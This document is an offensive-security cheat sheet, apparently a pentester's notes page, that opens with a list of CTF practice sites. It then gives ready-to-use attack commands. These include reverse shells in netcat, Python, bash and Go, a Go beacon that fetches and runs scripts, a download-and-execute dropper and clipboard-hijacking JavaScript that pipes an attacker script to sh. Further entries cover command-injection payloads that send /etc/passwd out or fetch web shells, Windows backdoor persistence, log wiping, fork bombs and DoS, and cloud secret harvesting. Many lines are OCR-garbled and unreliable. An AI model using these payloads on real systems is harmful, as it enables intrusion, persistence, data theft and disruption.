💥 Free Resources to Practice:

Share with your friends:

·       Academy Hackaflag BR - https://hackaflag.com.br/
·       Attack-Defense - https://attackdefense.com
·       Alert to win - https://alf.nu/alert1
·       CTF Komodo Security - https://ctf.komodosec.com
·       CMD Challenge - https://cmdchallenge.com
·       Explotation Education - https://exploit.education
·       Google CTF - https://lnkd.in/e46drbz8
·       HackTheBox - https://www.hackthebox.com
·       Hackthis - https://www.hackthis.co.uk
·       Hacksplaining - https://lnkd.in/eAB5CSTA
·       Hacker101 - https://ctf.hacker101.com
·       Hacker Security - https://lnkd.in/ex7R-C-e
·       Hacking-Lab - https://hacking-lab.com/
·       HSTRIKE - https://hstrike.com
·       ImmersiveLabs - https://immersivelabs.com
·       NewbieContest - https://lnkd.in/ewBk6fU5
·       OverTheWire - http://overthewire.org
·       Practical Pentest Labs - https://lnkd.in/esq9Yuv5
·       Pentestlab - https://pentesterlab.com
·       Penetration Testing Practice Labs - https://lnkd.in/e6wVANYd
·       PentestIT LAB - https://lab.pentestit.ru
·       PicoCTF - https://picoctf.com
·       PWNABLE - https://lnkd.in/eMEwBJzn
·       Root-Me - https://www.root-me.org
·       Root in Jail - http://rootinjail.com
·       SANS Challenger - https://lnkd.in/e5TAMawK
·       SmashTheStack - https://lnkd.in/eVn9rP9p
·       The Cryptopals Crypto Challenges - https://cryptopals.com
·       Try Hack Me - https://tryhackme.com
·       Vulnhub - https://www.vulnhub.com
·       W3Challs - https://w3challs.com
·       WeChall - http://www.wechall.net
·       Zenk-Security - https://lnkd.in/ewJ5rNx2

Linux System Enumeration / Post Exploitation

id
w
who -a
last -a
ps -ef
df -h
uname -a
mount
cat /etc/issue
cat /etc/*-release
cat /etc/release
cat /proc/version

Linux Miscellaneous Commands / Covering Tracks

chattr (+/-)i file
unset HISTFILE
unset HISTFILESIZE
unset HISTSIZE
echo "" /var/log/auth.log 
echo '''' -/.bash history
kill -9 $$
ln /dev/null -/.bash_historj -sf

Efficient Linux CLI Navigation:

Fork Bomb

Linux:

:(){:I: &I;:

Python:

#!/usr/bin/env python

    import os
    while True: os.fork()

TCPDump

tcpdump -i ethO -XX -w out.pcap
tcpdump -i ethO port XX dst X.X.X.X

Windows System Enumeration

ver
time
net session
psloglist "Security" -i 528 -s | find /i "Logon Type: 10"
net statistics
date
hostname
ipconfig
arp -a
route print
sc query state=all
tasklist /svc
tasklist /m
tasklist /S ip /v
taskkill /PID pid /F
systeminfo /S ip /U domain\user /P Pwd
dir /a /s /b c:\'.pdf'
dir /a /b c:\windows\kb'
findstr /si password' .txt I •.xmll •.xls tree /F /A c:\ tree.txt
reg save HKLl~\Security security.hive echo %USERNAl~E%

Start RDP

reg add "HKEY LOCAL t1ACHINE\SYSTEH\CurentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
(Tunnel RDP through port 443) REG ADD "HKLM\System\CurrentControlSet\Control\Terminal
Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 443 /f

PowerShell Enumeration

Get-WmiObject -class win32 operatingsjstem I select -property 1 csv c:\os.txt
Get-Service I where object {$ .status -eq ''Running''}
(new-object sjstem.net.webclient) .downloadFile(''url'',''dest'')
powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass $Host.UI.PromptForCredential( 11 title ", 11 message 11 1 11 user" 11 domain")
powershell.exe Send-l-1ai1Hessage -to " email " -from " email " -subject "Subject11 -a " attachment file path " -body "Body" -SmtpServer Target Email Server IP

PowerShell Launching Meterpreter Payload

1. msfvenom -p Wlndows/meterpreter/reverse https -f psh -a x86 LHOST=l.l.l.l LPORT=443 audit.ps1
2. Move audit.ps1 into same folder as encodeMeterpreter.ps1
3. Launch Powershell (x86)
4. powershell.exe -executionpolicy bypass encodeMeterpreter.ps1
5. Copy the encoded Meterpreter string

Windows User Lockout

@echo T est run:
for /f %%U in (list.txt) do @for /1 %%C in (1,1,5) do @echo net use \\WIN- 1234\c$ /USER:%%U wrongpass

Windows DHCP Exhaustion

for /L %i in (2,1,254) do (netsh interface ip set address local static
1.1.1.%i netrnask gw I~ %1 ping 12-.0.0.1 -n l -w 10000 nul %1)

Rolling Reboot

for /L %i in (2,1,254) do shutdown /r /m \\l.l.l.%i /f /t 0 /c "Reboot
message''

TTL Fingerprinting

Windows : 128 
Linux : 64 
Network : 255 
Solaris : 255

XSS Testing

Use this string on all input fields and identify what remains after filtering for XSS attacks:

'';!--"<XSS>=&{()}

Cisco IOS 11.2 - 12.2 Vulnerability

http://ip/level/16-99/exec/show/config

FTP Through Non-Interactive Shell

echo open ip 21 ftp.txt
echo user
echo pass
echo bin
echo GET file=tp.txt echo bfe ftp.txt
ftp -s:ftp.txt

NetCat Listeners

nc 10.0.0.1 1234 -e /bin/sh Linux reverse shell 
nc 10.0.0.1 1234 -e cmd.exe Windows reverse shell

Python Reverse Shell

python -c 'import socket,subprocess,os; s=socket.socket(socket..;;F_INET, socket.SOCK_STREAL1); s.connect( ("10.0.0.1",1234)); os.dup2 (s.fileno() ,0); os.dup2(s.fileno(l,1); os.dup2(s.file:oo(),2);
p~subprocess.call( 1"/bin/sh","-i"] I;'

Bash Reverse Shell

bash -i & /dev/tcp/10.0.0.1/8080 0 &1

Windows Persistence

1. REG add HKEY CURRENT USER\Software\l1icrosoft\W indows\CurrentV ersion\Run /v firewall 7t REG SZ /d "c:\windows\system32\backdoor.exe" /f
2. at 19:00 /every:t1,T,W,Th,F cmd /c start "%USERPROFILE%\backdoor.exe"
3. SCHTASKS /Create /RU "SYSTEt1" /SC l1INUTE /t10 45 /TN FIREWALL /TR
"%USERPROFILE%\backdoor.exe" /ED 12/12/2012

HPING3 DoS

hping3 targetiP --flood --frag --spoof ip --destport # --syn

Hydra Online Brute Force

hydra -1 ftp -P words -v targetiP ftp

Download HTTP File and Execute

#!/usr/bin/python import urllib2, os
urls = [11 1.1.1.1'',"2.2.2.2"] port = 11 80"
payload = "cb.sh"
for url in urls:
u = "http://%s:%s/%s" % (url, port, payload) try:
r = urllib2.urlopen(u)
wfile = open{"/tmp/cb.sh", "wb") wfile.write(r.read()) wfile.close ()
break
except: continue
if os.path.exists("/tmp/cb.sh"): os.system("chmod -oo /tmp/cb.sh") os. system ("/tmp/cb. sh")

Hashcat

DICTIONARY ATTACK
hashcat -a 0 -m #type hash.txt
DICTIONARY + RULES ATTACK
hashcat -a 0 -m #type hash.txt
COMBINATION ATTACK
hashcat -a 1 -m #type hash.txt
MASK ATTACK
hashcat -a 3 -m #type hash.txt
HYBRID DICTIONARY + MASK
hashcat -a 6 -m #type hash.txt
HYBRID MASK + DICTIONARY
hashcat -a 7 -m #type hash.txt
dict.txt
dict.txt -r rule.txt
dict1.txt dict2.txt
?a?a?a?a?a?a
dict.txt ?a?a?a?a
?a?a?a?a dict.txt

Malicious Javascript

<script>
document.getElementById('copy').addEventListener('copy', function(e) { e.clipboardData.setData('text/plain', 'curl http://attacker-domain:8000/shell.sh | sh\n'); e.preventDefault(); });
 </script>

Execute Fileless Scripts in Golang

package main

import (
    "io/ioutil"
    "net/http"
    "os/exec"
    "time"
)

func main() {
    for {
        url := "http://my_command_control:8080/executeThisScript" // Download your bash script
        resp, _ := http.Get(string(url))
        defer resp.Body.Close()

        shellScriptBody, _ := ioutil.ReadAll(resp.Body) // keep in memory

        cmd := exec.Command("/bin/bash", "-c", string(shellScriptBody))
        cmd.Start()                                                     // run in background

        time.Sleep(5000) // wait for the next beaconing
    }
}

Golang Reverse Shell

echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","127.0.0.1:1337");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;http://cmd.Run();}'>/tmp/sh.go&&go run /tmp/sh.go

Enumerating IPs with IPInfo

curl ipinfo.io/54.90.107.240

{
  "ip": "54.90.107.240",
  "hostname": "ec2-54-90-107-240.compute-1.amazonaws.com",
  "city": "Virginia Beach",
  "region": "Virginia",
  "country": "US",
  "loc": "36.8512,-76.1692",
  "org": "AS14618 Amazon.com, Inc.",
  "postal": "23465",
  "readme": "https://ipinfo.io/missingauth"
}

You can also utilize https://cybergordon.com/ to check for IP reputation!

Email Recon

curl emailrep.io/[email protected]

{
  "email": "[email protected]",
  "reputation": "high",
  "suspicious": false,
  "references": 91,
  "details": {
    "blacklisted": false,
    "malicious_activity": false,
    "malicious_activity_recent": false,
    "credentials_leaked": true,
    "credentials_leaked_recent": false,
    "data_breach": true,
    "last_seen": "07/27/2019",
    "domain_exists": true,
    "domain_reputation": "n/a",
    "new_domain": false,
    "days_since_domain_creation": 8773,
    "suspicious_tld": false,
    "spam": false,
    "free_provider": true,
    "disposable": false,
    "deliverable": true,
    "accept_all": false,
    "valid_mx": true,
    "spoofable": true,
    "spf_strict": true,
    "dmarc_enforced": false,
    "profiles": [
      "lastfm",
      "pinterest",
      "foursquare",
      "aboutme",
      "spotify",
      "twitter",
      "vimeo"
    ]
  }
}

nrich IP Enumeration:

A command-line tool to quickly analyze all IPs in a file and see which ones have open ports/ vulnerabilities. Can also be fed data from stdin to be used in a data pipeline.

Install:

$ wget https://gitlab.com/api/v4/projects/33695681/packages/generic/nrich/latest/nrich_latest_amd64.deb
$ sudo dpkg -i nrich_latest_amd64.deb

Confirmation:

$ echo 149.202.182.140 | nrich -
149.202.182.140 (ftptech1.pcsoft.fr)
  Ports: 21, 80, 111, 443
  CPEs: cpe:/a:proftpd:proftpd:1.3.5b, cpe:/a:apache:http_server:2.4.25
  Vulnerabilities: CVE-2018-11763, CVE-2019-0220, CVE-2017-15710, CVE-2018-1312, CVE-2019-0197, CVE-2017-9798, CVE-2018-1283, CVE-2017-7668, CVE-2017-3169, CVE-2017-15715, CVE-2017-7659, CVE-2018-1333, CVE-2019-0211, CVE-2019-12815, CVE-2017-3167, CVE-2017-9788, CVE-2019-0196, CVE-2017-7679, CVE-2018-17199

Usage:

$ nrich --help
nrich 0.1.0
Add network information to IPs

USAGE:
    nrich [OPTIONS] <filename>

FLAGS:
    -h, --help       Prints help information
    -V, --version    Prints version information

OPTIONS:
    -o, --output <output>    Output format (shell or json) [default: shell]

ARGS:
    <filename>    File containing an IP per line. Non-IPs are ignored

Threat Intelligence Streams with Python and Reddit:

Enumerate new Reddit comments for threat intelligence. This script can be modified with regular expressions to hone in on exploit development, modern threats, and any newsworthy cyber events.

#!/usr/bin/env python3

import praw

reddit = praw.Reddit(client_id ='xxxxxxxxxxxxxxx', 
                     client_secret ='xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', 
                     user_agent ='Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36', 
                     username ='username', 
                     password ='pass') 


for comment in reddit.subreddit('hacking+infosec+redteamsec+cybersecurity+netsec+hackernews+malware+blueteamsec').stream.comments():
    print(comment.body)

Enumerating Anonymous FTP Logins Using Python:

#!/usr/bin/python3

from ftplib import FTP
import sys

ips = open(sys.argv[1], 'r')
r = ips.readlines()
for item in r:
    item = item.strip()
    print("[+] Connecting to: %s \n" %item)
    try:
        ftp = FTP(item, timeout=3) 
        ftp.login()
       
        if ftp.retrlines('LIST') != 0:
            print("[+] Anonymous login enabled on Host: %s \n" %item)
            print("="*70+"\n")
    except:
        print("[+] Unable to Connect to Host: %s\n" %item)
        print("="*70+"\n")

1. Usage : python3 FTPLoginChecker.py ip_addresses.txt
2. Note : Use shodan_eye.py to search for FTP servers that have the anon login enabled.
3. Search Keyword : 230 anonymous

Python Reverse Shell:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKING-IP",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Cloud:

Azure:

Enumerate for Priv Esc:

# Login
$ az login -u <user> -p <password>

# Set Account Subscription
$ az account set --subscription "Pay-As-You-Go"

# Enumeration for Priv Esc
$ az ad user list -o table
$ az role assignment list -o table

AWS:

Shodan.io query to enumerate AWS Instance Metadata Service Access

/latest/meta-data/iam/security-credentials

Google Dorking for AWS Access Keys

inurl:pastebin "AWS_ACCESS_KEY"

Recursively searching for AWS Access Keys on *Nix containers

$ grep -ER "AKIA[A-Z0-9]{16}|ASIA[A-Z0-9]{16}" /

S3 Log Google Dorking

s3 site:amazonaws.com filetype:log

Kubernetes Secrets Harvesting:

$ curl -k -v -H “Authorization: Bearer <jwt_token>” -H “Content-Type: application/json” https://<master_ip>:6443/api/v1/namespaces/default/secrets | jq -r ‘.items[].data’

Web Applications:

Command Injection:

Special Characters

&
;
Newline (0x0a or \n)
&&
|
||
command `
$(command )

Ngrok for Command Injection:

# Start listener
$ ./ngrok http 80

# Test for blind injection
Input field - > ;%20curl%20blablabla.ngrok.io

# Take it all
Input field -> ;curl%20-F%20shl=@/etc/passwd%20blablabla.ngrok.io

Useful Commands: Linux

whoami
ifconfig
ls
uname -a

Useful Commands: Windows

whoami
ipconfig
dir
ver

Both Unix and Windows

ls||id; ls ||id; ls|| id; ls || id 
ls|id; ls |id; ls| id; ls | id 
ls&&id; ls &&id; ls&& id; ls && id 
ls&id; ls &id; ls& id; ls & id 
ls %0A id

Time Delay Commands

& ping -c 10 127.0.0.1 &

Redirecting Output

& whoami > /var/www/images/output.txt &

OOB (Out Of Band) Exploitation

& nslookup attacker-server.com &
& nslookup `whoami`.attacker-server.com &

WAF Bypasses

vuln=127.0.0.1 %0a wget https://evil.txt/reverse.txt -O 
/tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash <attacker-ip> <attacker-port>
vuln=echo PAYLOAD > /tmp/payload.txt; cat /tmp/payload.txt | base64 -d > /tmp/payload; chmod 744 /tmp/payload; /tmp/payload

XSS Cheat Sheet:

https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html

SSRF Bypasses:

Base-Url: 127.0.0.1
Client-IP: 127.0.0.1
Http-Url: 127.0.0.1
Proxy-Host: 127.0.0.1
Proxy-Url: 127.0.0.1
Real-Ip: 127.0.0.1
Redirect: 127.0.0.1
Referer: 127.0.0.1
Referrer: 127.0.0.1
Refferer: 127.0.0.1
Request-Uri: 127.0.0.1
Uri: 127.0.0.1
Url: 127.0.0.1
X-Client-IP: 127.0.0.1
X-Custom-IP-Authorization: 127.0.0.1
X-Forward-For: 127.0.0.1
X-Forwarded-By: 127.0.0.1
X-Forwarded-For-Original: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Forwarded-Host: 127.0.0.1
X-Forwarded-Port: 443
X-Forwarded-Port: 4443
X-Forwarded-Port: 80
X-Forwarded-Port: 8080
X-Forwarded-Port: 8443
X-Forwarded-Scheme: http
X-Forwarded-Scheme: https
X-Forwarded-Server: 127.0.0.1
X-Forwarded: 127.0.0.1
X-Forwarder-For: 127.0.0.1
X-Host: 127.0.0.1
X-Http-Destinationurl: 127.0.0.1
X-Http-Host-Override: 127.0.0.1
X-Original-Remote-Addr: 127.0.0.1
X-Original-Url: 127.0.0.1
X-Originating-IP: 127.0.0.1
X-Proxy-Url: 127.0.0.1
X-Real-Ip: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Rewrite-Url: 127.0.0.1
X-True-IP: 127.0.0.1

WayBack Machine Enumerator:

Python script for enumerating Wayback Machine internet archives for potential subdomains, sites, and files; specifically potential password and robots.txt files.

#!/usr/bin/env python3

import requests
import os

# Input Target
site = input("Input Target Website: ")

# Web Request
url = str("https://web.archive.org/cdx/search/cdx?url=" + site + "/*&output=text&fl=original&collapse=urlkey")
url_request = requests.get(url)

# Write to File
web_file = open("/tmp/website_enum.txt", "a")
web_file.write(url_request.text)
web_file.close()


with open("/tmp/website_enum.txt", "r") as file:
    info = file.read()
    print("\nPossible Password Files\n")
    passwords = os.system("grep password /tmp/website_enum.txt")
    print("\nRobots.txt File\n")
    robots = os.system("grep robots.txt /tmp/website_enum.txt")
    print("\nFull Data Can Be Found in /tmp/website_enum.txt\n")

Or use this one-liner to screenshot web pages with EyeWitness!

root@RoseSecurity:~# python3 -c 'import requests; import os; url = str("https://web.archive.org/cdx/search/cdx?url=<website>/*&output=text&fl=original&collapse=urlkey"); url_request = requests.get(url); web_file = open("/tmp/website_enum.txt", "a"); web_file.write(url_request.text); web_file.close()'; eyewitness -f /tmp/website_enum.txt